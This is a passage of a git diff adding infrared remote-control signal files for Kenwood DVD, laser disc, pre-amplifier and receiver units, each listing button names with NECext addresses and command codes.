+type: parsed +protocol: NECext +address: B6 0C 00 00 +command: C9 00 00 00 +# +name: AUDIO +type: parsed +protocol: NECext +address: B6 0C 00 00 +command: C9 00 00 00 +# +name: C/_AUDIO +type: parsed +protocol: NECext +address: B6 0C 00 00 +command: C9 00 00 00 +# +name: P.B.C. +type: parsed +protocol: NECext +address: B6 0C 00 00 +command: CB 00 00 00 +# +name: SIDE_A/B +type: parsed +protocol: NECext +address: B6 0C 00 00 +command: CC 00 00 00 +# +name: P.AUDIO +type: parsed +protocol: NECext +address: B6 0C 00 00 +command: CC 00 00 00 +# +name: PURE_AUDIO_/R +type: parsed +protocol: NECext +address: B6 0C 00 00 +command: CC 00 00 00 +# +name: PURE_AUDIO +type: parsed +protocol: NECext +address: B6 0C 00 00 +command: CC 00 00 00 +# +name: SQ.MODE +type: parsed +protocol: NECext +address: B6 0C 00 00 +command: CD 00 00 00 +# +name: DISC_FLIP +type: parsed +protocol: NECext +address: B6 0C 00 00 +command: CE 00 00 00 +# +name: DISK_FLIP +type: parsed +protocol: NECext +address: B6 0C 00 00 +command: CE 00 00 00 +# +name: LIBRARY +type: parsed +protocol: NECext +address: B6 0C 00 00 +command: CF 00 00 00 +# +name: PAGE_+ +type: parsed +protocol: NECext +address: B6 0C 00 00 +command: D1 00 00 00 +# +name: /\_/V_SEQ._PAGE +type: parsed +protocol: NECext +address: B6 0C 00 00 +command: D1 00 00 00 +# +name: SEQ._PAGE_UP +type: parsed +protocol: NECext +address: B6 0C 00 00 +command: D1 00 00 00 +# +name: PAGE_- +type: parsed +protocol: NECext +address: B6 0C 00 00 +command: D2 00 00 00 +# +name: \/_/Z_SEQ.PAGE +type: parsed +protocol: NECext +address: B6 0C 00 00 +command: D2 00 00 00 +# +name: SEQ_PAGE_DOWN +type: parsed +protocol: NECext +address: B6 0C 00 00 +command: D2 00 00 00 +# +name: ENTER +type: parsed +protocol: NECext +address: B6 0C 00 00 +command: D3 00 00 00 +# +name: SELECT +type: parsed +protocol: NECext +address: B6 0C 00 00 +command: D3 00 00 00 +# +name: INDEX_+ +type: parsed +protocol: NECext +address: B6 0C 00 00 +command: D4 00 00 00 +# +name: INDEX_- +type: parsed +protocol: NECext +address: B6 0C 00 00 +command: D5 00 00 00 +# +name: UP_ARROW +type: parsed +protocol: NECext +address: B6 0C 00 00 +command: D6 00 00 00 +# +name: UP +type: parsed +protocol: NECext +address: B6 0C 00 00 +command: D6 00 00 00 +# +name: CURSOR_UP +type: parsed +protocol: NECext +address: B6 0C 00 00 +command: D6 00 00 00 +# +name: DOWN_ARROW +type: parsed +protocol: NECext +address: B6 0C 00 00 +command: D7 00 00 00 +# +name: DOWN +type: parsed +protocol: NECext +address: B6 0C 00 00 +command: D7 00 00 00 +# +name: CURSOR_DOWN +type: parsed +protocol: NECext +address: B6 0C 00 00 +command: D7 00 00 00 +# +name: LEFT_ARROW +type: parsed +protocol: NECext +address: B6 0C 00 00 +command: D8 00 00 00 +# +name: LEFT +type: parsed +protocol: NECext +address: B6 0C 00 00 +command: D8 00 00 00 +# +name: CURSOR_LEFT +type: parsed +protocol: NECext +address: B6 0C 00 00 +command: D8 00 00 00 +# +name: RIGHT_ARROW +type: parsed +protocol: NECext +address: B6 0C 00 00 +command: D9 00 00 00 +# +name: RIGHT +type: parsed +protocol: NECext +address: B6 0C 00 00 +command: D9 00 00 00 +# +name: CURSOR_RIGHT +type: parsed +protocol: NECext +address: B6 0C 00 00 +command: D9 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Kenwood/DVD Player/182,88.ir b/assets/resources/infrared/_CSV-IRDB_/Kenwood/DVD Player/182,88.ir new file mode 100644 index 000000000..98d2f6855 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Kenwood/DVD Player/182,88.ir @@ -0,0 +1,236 @@ +Filetype: IR signals file +Version: 1 +# +name: 0 +type: parsed +protocol: NECext +address: B6 58 00 00 +command: 00 00 00 00 +# +name: 1 +type: parsed +protocol: NECext +address: B6 58 00 00 +command: 01 00 00 00 +# +name: 2 +type: parsed +protocol: NECext +address: B6 58 00 00 +command: 02 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: B6 58 00 00 +command: 03 00 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: B6 58 00 00 +command: 04 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: B6 58 00 00 +command: 05 00 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: B6 58 00 00 +command: 06 00 00 00 +# +name: 7 +type: parsed +protocol: NECext +address: B6 58 00 00 +command: 07 00 00 00 +# +name: 8 +type: parsed +protocol: NECext +address: B6 58 00 00 +command: 08 00 00 00 +# +name: 9 +type: parsed +protocol: NECext +address: B6 58 00 00 +command: 09 00 00 00 +# +name: PAGE/CHANNEL_- +type: parsed +protocol: NECext +address: B6 58 00 00 +command: 40 00 00 00 +# +name: PAGE/CHANNEL_+ +type: parsed +protocol: NECext +address: B6 58 00 00 +command: 41 00 00 00 +# +name: GUIDE +type: parsed +protocol: NECext +address: B6 58 00 00 +command: 42 00 00 00 +# +name: OPTIONS/MENU +type: parsed +protocol: NECext +address: B6 58 00 00 +command: 43 00 00 00 +# +name: SETUP +type: parsed +protocol: NECext +address: B6 58 00 00 +command: 44 00 00 00 +# +name: EXIT +type: parsed +protocol: NECext +address: B6 58 00 00 +command: 45 00 00 00 +# +name: <_> +type: parsed +protocol: NECext +address: B6 58 00 00 +command: 48 00 00 00 +# +name: INFO +type: parsed +protocol: NECext +address: B6 58 00 00 +command: 49 00 00 00 +# +name: ENTER +type: parsed +protocol: NECext +address: B6 58 00 00 +command: 4A 00 00 00 +# +name: OPENGLOBE +type: parsed +protocol: NECext +address: B6 58 00 00 +command: 4F 00 00 00 +# +name: DOWN +type: parsed +protocol: NECext +address: B6 58 00 00 +command: 50 00 00 00 +# +name: UP +type: parsed +protocol: NECext +address: B6 58 00 00 +command: 51 00 00 00 +# +name: LEFT +type: parsed +protocol: NECext +address: B6 58 00 00 +command: 52 00 00 00 +# +name: RIGHT +type: parsed +protocol: NECext +address: B6 58 00 00 +command: 53 00 00 00 +# +name: SELECT +type: parsed +protocol: NECext +address: B6 58 00 00 +command: 54 00 00 00 +# +name: DAY_+/PLAY +type: parsed +protocol: NECext +address: B6 58 00 00 +command: 58 00 00 00 +# +name: PAUSE +type: parsed +protocol: NECext +address: B6 58 00 00 +command: 59 00 00 00 +# +name: DAY_-/STOP +type: parsed +protocol: NECext +address: B6 58 00 00 +command: 5A 00 00 00 +# +name: BACKSPACE/PG_DN_<<< +type: parsed +protocol: NECext +address: B6 58 00 00 +command: 5B 00 00 00 +# +name: SPACE/PAGE_UP_>>> +type: parsed +protocol: NECext +address: B6 58 00 00 +command: 5C 00 00 00 +# +name: REC +type: parsed +protocol: NECext +address: B6 58 00 00 +command: 5F 00 00 00 +# +name: POWER_ON +type: parsed +protocol: NECext +address: B6 58 00 00 +command: 80 00 00 00 +# +name: POWER_OFF +type: parsed +protocol: NECext +address: B6 58 00 00 +command: 81 00 00 00 +# +name: MUSIC +type: parsed +protocol: NECext +address: B6 58 00 00 +command: C0 00 00 00 +# +name: RADIO +type: parsed +protocol: NECext +address: B6 58 00 00 +command: C1 00 00 00 +# +name: MOVIES +type: parsed +protocol: NECext +address: B6 58 00 00 +command: C2 00 00 00 +# +name: PASS_THOUGH_/_FAV +type: parsed +protocol: NECext +address: B6 58 00 00 +command: C3 00 00 00 +# +name: E-MAIL +type: parsed +protocol: NECext +address: B6 58 00 00 +command: C5 00 00 00 +# +name: WEB/LAST_CH. +type: parsed +protocol: NECext +address: B6 58 00 00 +command: C6 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Kenwood/DVD Player/184,0.ir b/assets/resources/infrared/_CSV-IRDB_/Kenwood/DVD Player/184,0.ir new file mode 100644 index 000000000..bf3243738 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Kenwood/DVD Player/184,0.ir @@ -0,0 +1,8 @@ +Filetype: IR signals file +Version: 1 +# +name: MUTE +type: parsed +protocol: NECext +address: B8 00 00 00 +command: 9C 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Kenwood/Laser Disc/182,75.ir b/assets/resources/infrared/_CSV-IRDB_/Kenwood/Laser Disc/182,75.ir new file mode 100644 index 000000000..bc71a4b79 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Kenwood/Laser Disc/182,75.ir @@ -0,0 +1,302 @@ +Filetype: IR signals file +Version: 1 +# +name: 0 +type: parsed +protocol: NECext +address: B6 4B 00 00 +command: 00 00 00 00 +# +name: 1 +type: parsed +protocol: NECext +address: B6 4B 00 00 +command: 01 00 00 00 +# +name: 2 +type: parsed +protocol: NECext +address: B6 4B 00 00 +command: 02 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: B6 4B 00 00 +command: 03 00 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: B6 4B 00 00 +command: 04 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: B6 4B 00 00 +command: 05 00 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: B6 4B 00 00 +command: 06 00 00 00 +# +name: 7 +type: parsed +protocol: NECext +address: B6 4B 00 00 +command: 07 00 00 00 +# +name: 8 +type: parsed +protocol: NECext +address: B6 4B 00 00 +command: 08 00 00 00 +# +name: 9 +type: parsed +protocol: NECext +address: B6 4B 00 00 +command: 09 00 00 00 +# +name: +10 +type: parsed +protocol: NECext +address: B6 4B 00 00 +command: 0A 00 00 00 +# +name: AUDIO_MONI. +type: parsed +protocol: NECext +address: B6 4B 00 00 +command: 0F 00 00 00 +# +name: EJECT +type: parsed +protocol: NECext +address: B6 4B 00 00 +command: 10 00 00 00 +# +name: STOP_[] +type: parsed +protocol: NECext +address: B6 4B 00 00 +command: 11 00 00 00 +# +name: PAUSE_ +type: parsed +protocol: NECext +address: B6 4B 00 00 +command: 12 00 00 00 +# +name: SCAN_<< +type: parsed +protocol: NECext +address: B6 4B 00 00 +command: 14 00 00 00 +# +name: SCAN_>> +type: parsed +protocol: NECext +address: B6 4B 00 00 +command: 15 00 00 00 +# +name: SKIP_<< +type: parsed +protocol: NECext +address: B6 4B 00 00 +command: 16 00 00 00 +# +name: SKIP_>> +type: parsed +protocol: NECext +address: B6 4B 00 00 +command: 17 00 00 00 +# +name: TIME +type: parsed +protocol: NECext +address: B6 4B 00 00 +command: 18 00 00 00 +# +name: REPEAT +type: parsed +protocol: NECext +address: B6 4B 00 00 +command: 19 00 00 00 +# +name: CLEAR +type: parsed +protocol: NECext +address: B6 4B 00 00 +command: 1A 00 00 00 +# +name: CHECK +type: parsed +protocol: NECext +address: B6 4B 00 00 +command: 1B 00 00 00 +# +name: P.MODE +type: parsed +protocol: NECext +address: B6 4B 00 00 +command: 1F 00 00 00 +# +name: AUTO_DIGITAL +type: parsed +protocol: NECext +address: B6 4B 00 00 +command: 40 00 00 00 +# +name: TV/DISC +type: parsed +protocol: NECext +address: B6 4B 00 00 +command: 41 00 00 00 +# +name: SPACE +type: parsed +protocol: NECext +address: B6 4B 00 00 +command: 42 00 00 00 +# +name: REPEAT_A-B +type: parsed +protocol: NECext +address: B6 4B 00 00 +command: 43 00 00 00 +# +name: EDIT +type: parsed +protocol: NECext +address: B6 4B 00 00 +command: 4A 00 00 00 +# +name: INTRO_SCAN +type: parsed +protocol: NECext +address: B6 4B 00 00 +command: 4E 00 00 00 +# +name: RANDOM +type: parsed +protocol: NECext +address: B6 4B 00 00 +command: 4F 00 00 00 +# +name: FRAME/TIME +type: parsed +protocol: NECext +address: B6 4B 00 00 +command: 57 00 00 00 +# +name: STILL/STEP_< +type: parsed +protocol: NECext +address: B6 4B 00 00 +command: 58 00 00 00 +# +name: STILL/STEP_> +type: parsed +protocol: NECext +address: B6 4B 00 00 +command: 59 00 00 00 +# +name: MULTI_SPEED_< +type: parsed +protocol: NECext +address: B6 4B 00 00 +command: 5A 00 00 00 +# +name: MULTI_SPEED_> +type: parsed +protocol: NECext +address: B6 4B 00 00 +command: 5B 00 00 00 +# +name: MULTI_SPEED_- +type: parsed +protocol: NECext +address: B6 4B 00 00 +command: 5C 00 00 00 +# +name: MULTI_SPEED_+ +type: parsed +protocol: NECext +address: B6 4B 00 00 +command: 5D 00 00 00 +# +name: DISPLAY +type: parsed +protocol: NECext +address: B6 4B 00 00 +command: 5F 00 00 00 +# +name: JOG_FWD_>> +type: parsed +protocol: NECext +address: B6 4B 00 00 +command: 80 00 00 00 +# +name: JOG_REV_<< +type: parsed +protocol: NECext +address: B6 4B 00 00 +command: 88 00 00 00 +# +name: MNT/HIT_MASTER +type: parsed +protocol: NECext +address: B6 4B 00 00 +command: 97 00 00 00 +# +name: MIDNIGHT_THEATER +type: parsed +protocol: NECext +address: B6 4B 00 00 +command: 97 00 00 00 +# +name: A +type: parsed +protocol: NECext +address: B6 4B 00 00 +command: 98 00 00 00 +# +name: B +type: parsed +protocol: NECext +address: B6 4B 00 00 +command: 99 00 00 00 +# +name: PLAY_> +type: parsed +protocol: NECext +address: B6 4B 00 00 +command: 9A 00 00 00 +# +name: M-STOP +type: parsed +protocol: NECext +address: B6 4B 00 00 +command: 9B 00 00 00 +# +name: M-SHOT +type: parsed +protocol: NECext +address: B6 4B 00 00 +command: 9C 00 00 00 +# +name: POWER +type: parsed +protocol: NECext +address: B6 4B 00 00 +command: 9D 00 00 00 +# +name: CX +type: parsed +protocol: NECext +address: B6 4B 00 00 +command: 9F 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Kenwood/Pre-Amplifier/182,75.ir b/assets/resources/infrared/_CSV-IRDB_/Kenwood/Pre-Amplifier/182,75.ir new file mode 100644 index 000000000..ee6ee5e84 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Kenwood/Pre-Amplifier/182,75.ir @@ -0,0 +1,32 @@ +Filetype: IR signals file +Version: 1 +# +name: LD_STOP_[] +type: parsed +protocol: NECext +address: B6 4B 00 00 +command: 11 00 00 00 +# +name: LD_PAUSE_ +type: parsed +protocol: NECext +address: B6 4B 00 00 +command: 12 00 00 00 +# +name: LD_REW_<< +type: parsed +protocol: NECext +address: B6 4B 00 00 +command: 14 00 00 00 +# +name: LD_FF_>> +type: parsed +protocol: NECext +address: B6 4B 00 00 +command: 15 00 00 00 +# +name: LD_PLAY_> +type: parsed +protocol: NECext +address: B6 4B 00 00 +command: 9A 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Kenwood/Pre-Amplifier/184,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Kenwood/Pre-Amplifier/184,-1.ir new file mode 100644 index 000000000..e89194a3d --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Kenwood/Pre-Amplifier/184,-1.ir @@ -0,0 +1,530 @@ +Filetype: IR signals file +Version: 1 +# +name: CD_SCAN_<< +type: parsed +protocol: NECext +address: B8 00 00 00 +command: 06 00 00 00 +# +name: CD_SCAN_>> +type: parsed +protocol: NECext +address: B8 00 00 00 +command: 07 00 00 00 +# +name: CD_DISC +type: parsed +protocol: NECext +address: B8 00 00 00 +command: 08 00 00 00 +# +name: TUNER/CD_+10 +type: parsed +protocol: NECext +address: B8 00 00 00 +command: 0D 00 00 00 +# +name: 10+ +type: parsed +protocol: NECext +address: B8 00 00 00 +command: 0D 00 00 00 +# +name: EQ.EFFECT +type: parsed +protocol: NECext +address: B8 00 00 00 +command: 0F 00 00 00 +# +name: MENU +type: parsed +protocol: NECext +address: B8 00 00 00 +command: 1D 00 00 00 +# +name: DELAY_TIME_V +type: parsed +protocol: NECext +address: B8 00 00 00 +command: 4C 00 00 00 +# +name: DELAY_TIME_DWN +type: parsed +protocol: NECext +address: B8 00 00 00 +command: 4C 00 00 00 +# +name: DELAY_TIME_^ +type: parsed +protocol: NECext +address: B8 00 00 00 +command: 4D 00 00 00 +# +name: DELAY_TIME_UP +type: parsed +protocol: NECext +address: B8 00 00 00 +command: 4D 00 00 00 +# +name: TEST_TONE_ON/OFF +type: parsed +protocol: NECext +address: B8 00 00 00 +command: 56 00 00 00 +# +name: TEST_TONE_MODE +type: parsed +protocol: NECext +address: B8 00 00 00 +command: 57 00 00 00 +# +name: DISPLAY +type: parsed +protocol: NECext +address: B8 00 00 00 +command: 58 00 00 00 +# +name: VIDEO_4 +type: parsed +protocol: NECext +address: B8 00 00 00 +command: 59 00 00 00 +# +name: TUNER/CD_0 +type: parsed +protocol: NECext +address: B8 00 00 00 +command: 80 00 00 00 +# +name: 0 +type: parsed +protocol: NECext +address: B8 00 00 00 +command: 80 00 00 00 +# +name: TUNER/CD_1 +type: parsed +protocol: NECext +address: B8 00 00 00 +command: 81 00 00 00 +# +name: 1 +type: parsed +protocol: NECext +address: B8 00 00 00 +command: 81 00 00 00 +# +name: TUNER/CD_2 +type: parsed +protocol: NECext +address: B8 00 00 00 +command: 82 00 00 00 +# +name: TUNER/CD_3 +type: parsed +protocol: NECext +address: B8 00 00 00 +command: 83 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: B8 00 00 00 +command: 83 00 00 00 +# +name: TUNER/CD_4 +type: parsed +protocol: NECext +address: B8 00 00 00 +command: 84 00 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: B8 00 00 00 +command: 84 00 00 00 +# +name: TUNER/CD_5 +type: parsed +protocol: NECext +address: B8 00 00 00 +command: 85 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: B8 00 00 00 +command: 85 00 00 00 +# +name: TUNER/CD_6 +type: parsed +protocol: NECext +address: B8 00 00 00 +command: 86 00 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: B8 00 00 00 +command: 86 00 00 00 +# +name: TUNER/CD_7 +type: parsed +protocol: NECext +address: B8 00 00 00 +command: 87 00 00 00 +# +name: 7 +type: parsed +protocol: NECext +address: B8 00 00 00 +command: 87 00 00 00 +# +name: TUNER/CD_8 +type: parsed +protocol: NECext +address: B8 00 00 00 +command: 88 00 00 00 +# +name: 8 +type: parsed +protocol: NECext +address: B8 00 00 00 +command: 88 00 00 00 +# +name: TUNER/CD_9 +type: parsed +protocol: NECext +address: B8 00 00 00 +command: 89 00 00 00 +# +name: 9 +type: parsed +protocol: NECext +address: B8 00 00 00 +command: 89 00 00 00 +# +name: VIDEO_3 +type: parsed +protocol: NECext +address: B8 00 00 00 +command: 8A 00 00 00 +# +name: TUNER_P.CALL_V +type: parsed +protocol: NECext +address: B8 00 00 00 +command: 8C 00 00 00 +# +name: TUNER_DWN +type: parsed +protocol: NECext +address: B8 00 00 00 +command: 8C 00 00 00 +# +name: TUNER_BAND +type: parsed +protocol: NECext +address: B8 00 00 00 +command: 8F 00 00 00 +# +name: BAND +type: parsed +protocol: NECext +address: B8 00 00 00 +command: 8F 00 00 00 +# +name: PHONO +type: parsed +protocol: NECext +address: B8 00 00 00 +command: 90 00 00 00 +# +name: TUNER +type: parsed +protocol: NECext +address: B8 00 00 00 +command: 91 00 00 00 +# +name: CD +type: parsed +protocol: NECext +address: B8 00 00 00 +command: 92 00 00 00 +# +name: VIDEO_2 +type: parsed +protocol: NECext +address: B8 00 00 00 +command: 93 00 00 00 +# +name: TAPE_1 +type: parsed +protocol: NECext +address: B8 00 00 00 +command: 94 00 00 00 +# +name: TAPE_2 +type: parsed +protocol: NECext +address: B8 00 00 00 +command: 95 00 00 00 +# +name: VIDEO_1 +type: parsed +protocol: NECext +address: B8 00 00 00 +command: 96 00 00 00 +# +name: TUNER_P.CALL_^ +type: parsed +protocol: NECext +address: B8 00 00 00 +command: 99 00 00 00 +# +name: TUNER_UP +type: parsed +protocol: NECext +address: B8 00 00 00 +command: 99 00 00 00 +# +name: VOL_CONTROL_V +type: parsed +protocol: NECext +address: B8 00 00 00 +command: 9A 00 00 00 +# +name: VOLUME_- +type: parsed +protocol: NECext +address: B8 00 00 00 +command: 9A 00 00 00 +# +name: VOL_CONTROL_^ +type: parsed +protocol: NECext +address: B8 00 00 00 +command: 9B 00 00 00 +# +name: VOLUME_+ +type: parsed +protocol: NECext +address: B8 00 00 00 +command: 9B 00 00 00 +# +name: MUTE +type: parsed +protocol: NECext +address: B8 00 00 00 +command: 9C 00 00 00 +# +name: POWER +type: parsed +protocol: NECext +address: B8 00 00 00 +command: 9D 00 00 00 +# +name: TUNER_DIRECT +type: parsed +protocol: NECext +address: B8 00 00 00 +command: 9E 00 00 00 +# +name: DIRECT +type: parsed +protocol: NECext +address: B8 00 00 00 +command: 9E 00 00 00 +# +name: EQ.M.CALL +type: parsed +protocol: NECext +address: B8 00 00 00 +command: C5 00 00 00 +# +name: CD_STOP_[] +type: parsed +protocol: NECext +address: B8 00 00 00 +command: C9 00 00 00 +# +name: CD_PLAY/PAUSE_>/ +type: parsed +protocol: NECext +address: B8 00 00 00 +command: CB 00 00 00 +# +name: CD_SKIP_<< +type: parsed +protocol: NECext +address: B8 00 00 00 +command: CE 00 00 00 +# +name: CD_SKIP_>> +type: parsed +protocol: NECext +address: B8 00 00 00 +command: CF 00 00 00 +# +name: TAPEA_REV_PLAY_< +type: parsed +protocol: NECext +address: B8 00 00 00 +command: D0 00 00 00 +# +name: TAPE_A_R_PLAY +type: parsed +protocol: NECext +address: B8 00 00 00 +command: D0 00 00 00 +# +name: TAPEA_PLAY_> +type: parsed +protocol: NECext +address: B8 00 00 00 +command: D1 00 00 00 +# +name: TAPE_A_PLAY +type: parsed +protocol: NECext +address: B8 00 00 00 +command: D1 00 00 00 +# +name: TAPEA_REW_<< +type: parsed +protocol: NECext +address: B8 00 00 00 +command: D2 00 00 00 +# +name: TAPE_A_REW +type: parsed +protocol: NECext +address: B8 00 00 00 +command: D2 00 00 00 +# +name: TAPEA_FF_>> +type: parsed +protocol: NECext +address: B8 00 00 00 +command: D3 00 00 00 +# +name: TAPE_A_FF +type: parsed +protocol: NECext +address: B8 00 00 00 +command: D3 00 00 00 +# +name: TAPEA_PAUSE_ +type: parsed +protocol: NECext +address: B8 00 00 00 +command: D4 00 00 00 +# +name: TAPEA_STOP_[] +type: parsed +protocol: NECext +address: B8 00 00 00 +command: D5 00 00 00 +# +name: TAPE_A_STOP +type: parsed +protocol: NECext +address: B8 00 00 00 +command: D5 00 00 00 +# +name: TAPEA_REC +type: parsed +protocol: NECext +address: B8 00 00 00 +command: D6 00 00 00 +# +name: TAPE_A_REC +type: parsed +protocol: NECext +address: B8 00 00 00 +command: D6 00 00 00 +# +name: BYPASS +type: parsed +protocol: NECext +address: B8 00 00 00 +command: D7 00 00 00 +# +name: TAPEB_REV_PLAY_< +type: parsed +protocol: NECext +address: B8 00 00 00 +command: D8 00 00 00 +# +name: TAPE_B_R_PLAY +type: parsed +protocol: NECext +address: B8 00 00 00 +command: D8 00 00 00 +# +name: TAPEB_PLAY_> +type: parsed +protocol: NECext +address: B8 00 00 00 +command: D9 00 00 00 +# +name: TAPE_B_PLAY +type: parsed +protocol: NECext +address: B8 00 00 00 +command: D9 00 00 00 +# +name: TAPEB_REW_<< +type: parsed +protocol: NECext +address: B8 00 00 00 +command: DA 00 00 00 +# +name: TAPE_B_REW +type: parsed +protocol: NECext +address: B8 00 00 00 +command: DA 00 00 00 +# +name: TAPEB_FF_>> +type: parsed +protocol: NECext +address: B8 00 00 00 +command: DB 00 00 00 +# +name: TAPE_B_FF +type: parsed +protocol: NECext +address: B8 00 00 00 +command: DB 00 00 00 +# +name: TAPEB_PAUSE_ +type: parsed +protocol: NECext +address: B8 00 00 00 +command: DC 00 00 00 +# +name: TAPEB_STOP_[] +type: parsed +protocol: NECext +address: B8 00 00 00 +command: DD 00 00 00 +# +name: TAPE_B_STOP +type: parsed +protocol: NECext +address: B8 00 00 00 +command: DD 00 00 00 +# +name: TAPEB_REC +type: parsed +protocol: NECext +address: B8 00 00 00 +command: DE 00 00 00 +# +name: TAPE_B_REC +type: parsed +protocol: NECext +address: B8 00 00 00 +command: DE 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Kenwood/Pre-Amplifier/184,1.ir b/assets/resources/infrared/_CSV-IRDB_/Kenwood/Pre-Amplifier/184,1.ir new file mode 100644 index 000000000..461f9fd49 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Kenwood/Pre-Amplifier/184,1.ir @@ -0,0 +1,98 @@ +Filetype: IR signals file +Version: 1 +# +name: DOLBY_PRO_LOGIC +type: parsed +protocol: NECext +address: B8 01 00 00 +command: 00 00 00 00 +# +name: DOLBY_PROLOGIC +type: parsed +protocol: NECext +address: B8 01 00 00 +command: 00 00 00 00 +# +name: PRESENCE_LEVEL_V +type: parsed +protocol: NECext +address: B8 01 00 00 +command: 04 00 00 00 +# +name: PRESENCE_LEVEL_DWN +type: parsed +protocol: NECext +address: B8 01 00 00 +command: 04 00 00 00 +# +name: PRESENCE_LEVEL_^ +type: parsed +protocol: NECext +address: B8 01 00 00 +command: 05 00 00 00 +# +name: PRESENCE_LEVEL_UP +type: parsed +protocol: NECext +address: B8 01 00 00 +command: 05 00 00 00 +# +name: DOLBY_3_STEREO +type: parsed +protocol: NECext +address: B8 01 00 00 +command: 0E 00 00 00 +# +name: DOLBY_3STEREO +type: parsed +protocol: NECext +address: B8 01 00 00 +command: 0E 00 00 00 +# +name: DSP_LOGIC +type: parsed +protocol: NECext +address: B8 01 00 00 +command: 85 00 00 00 +# +name: VISUAL_FIX +type: parsed +protocol: NECext +address: B8 01 00 00 +command: 8F 00 00 00 +# +name: CHANNEL_LEVEL_V +type: parsed +protocol: NECext +address: B8 01 00 00 +command: 9E 00 00 00 +# +name: CHANNEL_LEVEL_DWN +type: parsed +protocol: NECext +address: B8 01 00 00 +command: 9E 00 00 00 +# +name: CHANNEL_LEVEL_^ +type: parsed +protocol: NECext +address: B8 01 00 00 +command: 9F 00 00 00 +# +name: CHANNEL_LEVEL_UP +type: parsed +protocol: NECext +address: B8 01 00 00 +command: 9F 00 00 00 +# +name: THX_CINEMA +type: parsed +protocol: NECext +address: B8 01 00 00 +command: C2 00 00 00 +# +name: MONO +type: parsed +protocol: NECext +address: B8 01 00 00 +command: C3 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Kenwood/Receiver/1,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Kenwood/Receiver/1,-1.ir new file mode 100644 index 000000000..e0739c03f --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Kenwood/Receiver/1,-1.ir @@ -0,0 +1,236 @@ +Filetype: IR signals file +Version: 1 +# +name: TV_1 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 00 00 00 00 +# +name: TV_2 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 01 00 00 00 +# +name: TV_3 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 02 00 00 00 +# +name: TV_4 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 03 00 00 00 +# +name: VCR1_STOP_[] +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 03 00 00 00 +# +name: TV_5 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 04 00 00 00 +# +name: TV_6 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 05 00 00 00 +# +name: VCR1_POWER +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 05 00 00 00 +# +name: TV_7 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 06 00 00 00 +# +name: VCR1_FFWD_>> +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 06 00 00 00 +# +name: TV_8 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 07 00 00 00 +# +name: VCR1_REW_<< +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 07 00 00 00 +# +name: TV_9 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 08 00 00 00 +# +name: TV_0 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 09 00 00 00 +# +name: TV_+10 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 0A 00 00 00 +# +name: TV_ENTER +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 0B 00 00 00 +# +name: VCR1_PLAY_> +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 0C 00 00 00 +# +name: VCR1_PAUSE_ +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 0D 00 00 00 +# +name: TV_CH_^_(ANY_^) +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 10 00 00 00 +# +name: TV_CH_V_(ANY_V) +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 11 00 00 00 +# +name: TV_VOL_^_(P.CALL_>) +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 12 00 00 00 +# +name: TV_VOL_V_(P.CALL_<) +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 13 00 00 00 +# +name: VCR1_FUNCTION +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 13 00 00 00 +# +name: TV_MUTE_(BAND) +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 14 00 00 00 +# +name: TV_POWER +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 15 00 00 00 +# +name: VCR1_ANY_V +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 18 00 00 00 +# +name: VCR1_ANY_^ +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 19 00 00 00 +# +name: TV_VCR/TV_(LVL_AUD) +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 25 00 00 00 +# +name: VCR1_0 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 4F 00 00 00 +# +name: VCR1_1 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 50 00 00 00 +# +name: VCR1_2 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 51 00 00 00 +# +name: VCR1_3 +type: 